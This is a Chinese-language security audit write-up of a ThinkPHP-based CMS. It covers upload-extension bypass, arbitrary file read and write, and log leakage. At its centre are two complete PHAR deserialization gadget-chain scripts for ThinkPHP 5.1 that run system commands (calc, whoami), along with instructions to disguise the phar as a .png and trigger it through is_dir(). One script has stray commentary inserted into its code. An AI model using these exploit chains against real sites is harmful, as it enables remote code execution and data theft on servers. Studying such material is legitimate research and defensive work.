使用phpstudy进行搭建环境,然后进入install目录。
然后输入数据库名和密码。
成功搭建好环境,然后进入后台页面。
首先进入配置-上传,然后发现这里有图片限制类型。
我们继续对这里的文件上传进行代码分析。
接着看这里的上传后缀配置,这里路由中的 .html 后缀是thinkphp中开启了伪静态设置,实际上还是调用了 config() 方法。
这里通过Ajax判断前端的操作,通过 Request::param() 方法统一接收所有上传的参数.
从数据表中可以看出我们的数据已经写进去了。
我们通过抓包分析,发现后台的所有上传功能点都调用了 uploadFile() 方法,Tp的
话上传一般上传文件都会使用 Request::file 来进行接收。
首先获取了config/site.php文件内容,并将两个数据中数组的内容通过array_merge合并。然后
获取了我们上面数据库中插入的内容,最后将配置文件与数据库中的内容进行合
并。
刚开始发现框架还是具有一定的安全性的。
最后就是upload()方法,上面的 filetype 是通过 Content-Type 中获取上传类型的,通过 check() 进行后缀以及大小的检测,其实在调试的过程中还发现了Tp自带的检测,但不影响我们最终的漏洞利用。
最后调用Local下的 upload()方法 实现文件上传。
这里的文件上传利用起来其实很简单,分为两步。
第一步通过配置将允许上传文件后缀写入数据库
第
第二步通过后台任意上传点上传后缀.php文件。
全局搜索 file_put_contents() 函数,发现路径是admin模块下的也就是后
台功能,跟进该处看看代码是如何构造的。
在代码中发现html参数是可控的,也就是 file_put_contents() 写入的内容是可控
的,前面的htmlspecialchars_decode()是将实体编码后的特殊字符还原,然后在继续
看$rootpath参数,向上回溯该参数,在这里最后拼接 $path 参数是通过 param() 传过来
的,所以这里 $path 可控。
全局搜索ile_get_contents() 方法,发现和上面的 file_put_contents() 在同一个方法
中。
这里可以看到,如果传参方式不是post()则会走else,去直接读取$rootpath,而我们通过上面的分析知
道这里的 $rootpath 中的 $path 是可控的,所以这里可以造成任意文件读取。
PHAR反序列化是指攻击者利用PHP Archive(PHAR)文件格式的反序列化漏洞,来执行恶意代码或者获取敏感数据。PHAR是PHP的一种自包含的归档文件格式,其可以存储多个PHP脚本文件和相关资源文件,并且可以被加载和执行。由于PHAR文件格式的缺陷,攻击者可以通过构造恶意数据,触发被反序列化的对象的构造函数并执行任意代码。因此,针对PHAR反序列化漏洞的攻击已经成为了网络安全领域中的一个热门话题。为了防止此类攻击,开发人员需要更新代码以修复漏洞,并加强输入数据的验证和过滤。
攻击者可能利用PHAR反序列化漏洞来实现以下攻击:
远程代码执行:攻击者可以利用反序列化漏洞来远程执行任意PHP代码,并获取服务器完全控制权。
信息泄露:攻击者可以利用反序列化漏洞来读取服务器上的敏感数据,如数据库凭据、身份验证密码等。
篡改数据:攻击者可以利用反序列化漏洞改变服务器上的数据,如篡改网站内容、篡改数据库数据等。
为了避免成为PHAR反序列化攻击的受害者,我们可以采用以下措施:
及时更新代码中利用PHAR的库或插件,以修复已知的漏洞。
对用户输入的数据进行过滤和验证,确保输入的数据不包含恶意代码。
禁用不必要的反序列化对象,或者对反序列化对象进行严格控制。
使用PHP的反序列化检测工具,检查潜在的远程代码执行漏洞。
然后我们接着往下看:
可以很直观的看到这里的$dir参数完全可控,并且直接带入到 is_dir() 。条件已经满足,接下来只要
在后台上传我们的phar文件即可。
利用链使用了Tp5.1反序列化利用链,我们将下面的php文件生成
phar文件。
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["v" => "system"];
public function get()
{
$this->data = ["v" => "calc"];
}
}
这里生成我们的pahr文件,如果生成时报错了可以将php.ini配置文件中的phar.readonly选项设置为
Off就可以成功生成了。
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>
发现 metadata 部分已经成功序列化并写到文件中。
如上我们生成了phar.phar文件,我们将文件后缀改为.png就可以成功将文件上传。
由于phar反序列化是不限制后缀类型的,只要可以使用phar协议即可解析,我们直接利用上面的漏
洞点进行尝试。
查看配置文件(/config/log.php),发现默认开启了日志记录
最关键的点在:该系统在config/app.php中开启了调试模式,
以当日志写入开启且 app_debug 调试模式开启时,我们的操作、SQL执行语句、流量等信息都会被记录在日志文件中。所以在当上述条件满足时就会通过日志文件造成信息泄露。
我们访问/runtime/log目录
然后使用burpsuite进行请求:
发现修改日期就可以获取到不同日子的log信息。
进入application/member/controller/Upload.php,发现前台注册个用户后也有个文件上传的功能,然后对其代码
进行分析。
发现这个CMS在处理文件上传的时候,基本都是这三行代码进行控制:
跟进一下upload方法就会发现。
进入会员中心,然后进行发布信息,发现有2处上传点。
然后修改png文件为.php,成功进行上传。
接着成功获取到phpinfo信息。
全局搜索is_dir()方法,然后发现scanfile()方法调用了这个方法。
发现在get请求中传入$dir,然后直接一个is_dir成功phar反序列化。
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["lin" => "system"];
public function get()
{
$this->data = ["lin" => "whoami"];
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>
改后缀为png然后上传:
进入application/admin/controller/Upload.php,发现uploadFile方法。
跟进$uploadObj->upload方法
发现$this->uploadHandler是这样来的:
默认是local,当然这个配置也可以后台更改。
因此跟进一下app\common\model\upload\driver\local的upload方法,位于application/common/model/upload/driver/Local.php:
先后台修改一下配置。
然后修改使得$this->config['upload_path']为phar。
REF:
https://wx.zsxq.com/dweb2/index/topic_detail/812454251145212
https://blog.csdn.net/rfrder/article/details/117818074
https://blog.51cto.com/u_15847702/5800894